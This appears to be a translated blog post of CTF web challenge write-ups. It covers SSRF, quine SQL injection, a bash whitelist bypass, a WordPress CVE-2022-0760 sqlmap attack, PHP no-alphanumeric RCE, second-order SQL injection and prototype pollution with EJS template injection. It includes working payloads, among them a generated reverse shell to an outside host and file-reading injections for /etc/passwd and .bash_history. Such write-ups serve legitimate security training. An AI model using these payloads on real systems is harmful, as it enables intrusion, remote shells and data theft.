NSSCTF web question brushing record 7


[SDCTF 2022]CURL Up and Read

Test center: SSRF

Open the question and find that it is a curl command, prompting to fill in the url
Tryhttp://www.baidu.com, jump successfully
Insert image description here
Change the url Decode the string and get the json format data
Insert image description here
. Read the environment variables and get the flag

{"url":"file:///proc/1/environ"}

Insert image description here

[NUSTCTF 2022 Freshman Competition]Translate

Test point: quine injection

Open the question and there is a login box, F12 found the hint
Insert image description hereVisit it
Insert image description here

The filter() function exists and can be used to access the php://filter pseudo-protocol to process files
In a simple test, string and base64 were filtered. Then we can change the filter

php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php

Get the source code
Insert image description hereThe test point is quine injection
Found that char is filtered (chr tried but no echo)
Then use 0x to bypass
payload

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#')#

But I found that there are only three things going on
Insert image description here
It should be the filtering of replace, so we can bypass it

username=admin&password=1'/**/union/**/select/**/replace(REPLACE('1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#')#

get flag
Insert image description here

[Anxun Cup 2020]BASH

Source code

 <?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
    $test = $_POST['cmd'];
    $white_list = str_split('${#}\\(<)\'0'); 
    $char_list = str_split($test);
    foreach($char_list as $c){
        if(!in_array($c,$white_list)){
                die("Cyzcc");
            }
        }
    exec($test);
}
?>

Specifies the whitelist and then no echo RCE
Refer to the boss's construction script to rebound the shell

import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f = ''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o   
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\<\<\<\$\\\'"                 #${!#}与$0等效
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

# def get_flag(url,payload):                          #盲注函数
#     try:
#         data = {'cmd':payload}
#         r = requests.post(url,data,timeout=1.5)
#     except:
#         return True
#     return False

# 弹shell
print(build('bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
#     for j in a:
#         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
#         url = "http://ip/"
#         if get_flag(url,build(cmd)):
#             break
#     f = f+j
#     print(f)

Rebound successfully
Insert image description here
Get flag
Insert image description here

[GXYCTF 2019]StrongestMind

Submit 1000 times to get the flag
The key point is that the calculation must continue the previous result, otherwise the script will always be successful for the first time
So we submit it once to get the result of res.text, and then calculate it in a loop

Script

import re
import requests
import time

url = 'http://node4.anna.nssctf.cn:28509/index.php'
session=requests.session()
req = session.get(url)
result = re.findall("<br><br>(\d.*?)<br><br>",req.text)
result = "".join(result)
result = eval(result)
data={"answer":result}
res = session.post(url,data)

for i in range(1000):
    result=re.findall("<br><br>(\d.*?)<br><br>",res.text)
    result="".join(result)
    result=eval(result)
    data={"answer":result}
    res = session.post(url,data)
    res.encoding="utf-8"
    print(str(i))

    if "NSSCTF" in res.text:
        print("计算完成")
        print(res.text)
        break

    time.sleep(0.1)  

Insert image description here

[BJDCTF 2020]Mark loves cat

(Using buu’s target machine)
Open the question, scan it and find that git is leaked
Insert image description hereGet the source code

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}
foreach($_GET as $x => $y){
    $$x = $$y;
}
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

Directly overwrite the foreach variable withif($_GET['flag'] === $x && $x !== 'flag')

?handsome=flag&flag=handsome

Insert image description here

[HNCTF 2022 WEEK2]ohmywordpress

Test site: CVE-2022-0760

Open it and find that it is wordpress, F12 to look at the source code to find the version
Insert image description hereAfter searching, it is found that there is a CVE-2022-0760 vulnerability

Insert image description here
Directly use sqlmap time blind injection

sqlmap -u "http://node5.anna.nssctf.cn:28191/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" --dbs

The database was successfully injected
Insert image description here
and the flag was obtained

sqlmap -u "http://node5.anna.nssctf.cn:28191/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" -D ctftraining -T flag -C "flag" --dump

Insert image description here

[Geek Challenge 2020]rceme

Open the question, F12 will prompt you
Insert image description here

It seems that you need to use vim to restore the backup file. Visit/.index.php.swp
and copy it to kali. Enter vim -r index.php.swp on the command line
Insert image description here

To analyze, the first five digits of the required code number after MD5 encryption must meet the session code value; then there are no alphanumeric and partial character RCE, and there are no parameters.

We will tell us the top five requirements that the code must satisfy when we find them in the source code
Insert image description here
We use scripts to blast

import hashlib

for i in range(1,1000000000):
    str1=hashlib.md5(str(i).encode("UTF-8")).hexdigest()
    if(str1[0:5]=='574bb'):
        print(i)
        print(str1)
        break

Then when the command is executed, it is found that the negated character is not filtered. Try constructingphpinfo();

# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("
while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)

successfully executed

Insert image description here
Then the structure is as follows

system(next(getallheaders()));

Just add the command at User-Agent
Insert image description here

[Netding Cup 2018]comment

Test points: git source code recovery, secondary injection

Scan the directory and find git leaks
Directly use git_extract (the source code obtained by githack is incomplete)
Insert image description here
git_extract directly restores the incomplete source code< /span>

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

Analysis, you must first log in successfully and then have the functions of posting and leaving messages.
When posting, all three parameters will be addedlashed, that is, they will be escaped. For example, uploading 1' will not close the preceding single quotes. When leaving a message, you can find that the category is not escaped, so we can use secondary injection

Tell us your login account and password

zhangwei
zhangwei***

Just use bp to explode and get 666

//假设我们发帖内容为
category=1',content=user(),/*
titie=114514
content=*/

//write发帖插入数据后(注意这里category的单引号因为转义并不会闭合)
$sql = "insert into board
            set category = '1',content=user(),/*',
                title = '114514',
                content = '*/'";
                
//comment留言传参content=*/#
$sql = "insert into comment
            set category = '1',content=user(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

//由于这里category不会被转义所以成功
$sql = "insert into comment
            set category = '1',
            	content=user(),
                bo_id = '$bo_id'";

Executed successfully
Insert image description here
Let’s try reading the file

category=1',content=load_file('/etc/passwd'),/*
content=*/

然后再留言注释掉
content=*/#

Insert image description hereYou can see the home directory of the www user, and then you can look at the user's historical operations.

1',content=load_file('/home/www/.bash_history'),/*

It was found that the file .DS_Store was deleted
Insert image description here
Then .DS_Store should still exist under /tmp/html
At the same time, because this is a binary file, we Add a hex encoding and the payload is

1',content=hex(load_file('/tmp/html/.DS_Store')),/*

Decode hexadecimal and find the flag file
Insert image description hereRead it directly

1', content=(hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

Insert image description here

[HGAME 2023 week4]Shared Diary

Test points: Prototype chain pollution, ejs template injection

The source code is as follows

const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();

function merge(target, source) {
    for (let key in source) {
        // Prevent prototype pollution
        if (key === '__proto__') {
            throw new Error("Detected Prototype Pollution")
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
    name: 'session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))

app.all("/login", (req, res) => {
    if (req.method == 'POST') {
        // save userinfo to session
        let data = {};
        try {
            merge(data, req.body)
        } catch (e) {
            return res.render("login", {message: "Don't pollution my shared diary!"})
        }
        req.session.data = data

        // check password
        let user = {};
        user.password = req.body.password;
        if (user.password=== "testpassword") {
            user.role = 'admin'
        }
        if (user.role === 'admin') {
            req.session.role = 'admin'
            return res.redirect('/')
        }else {
            return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
        } 
    }
    res.render('login', {message: ""});
});

app.all('/', (req, res) => {
    if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
        return res.redirect("/login")
    }
    if (req.method == 'POST') {
        let diary = ejs.render(`<div>${req.body.diary}</div>`)
        req.session.diary = diary
        return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
    }
    return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})


app.listen(8888, '0.0.0.0');

There is a merge function that can pollute the prototype chain, but if filtered__proto__ can be replaced by constructor.prototype;/loginThere is a prototype chain pollution vulnerability under routing. Create a variable and check whether the role value is admin. If so, jump to the route;/There is ejs template injection under the route

The question can parse JSON data sent through POST requests.

.use(bodyParser.json());

So the payload is as follows

{
    "username":"admin",
    "password":"123456",
    "constructor":{
        "prototype":{
            "role":"admin"
        }
    }
}

bp captures the packet, changes the Content-Type to json, and successfully obtains the session
Insert image description here
Then use this session to log in, and access and route directly
Insert image description here
Utilize Code

 let diary = ejs.render(`<div>${req.body.diary}</div>`)

ejs.render() has an SSTI vulnerability. You can insert the <%- %> tag to execute arbitrary js and directly complete the RCE
payload

<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>

Insert image description here

Guess you like

Origin blog.csdn.net/m0_73512445/article/details/134922142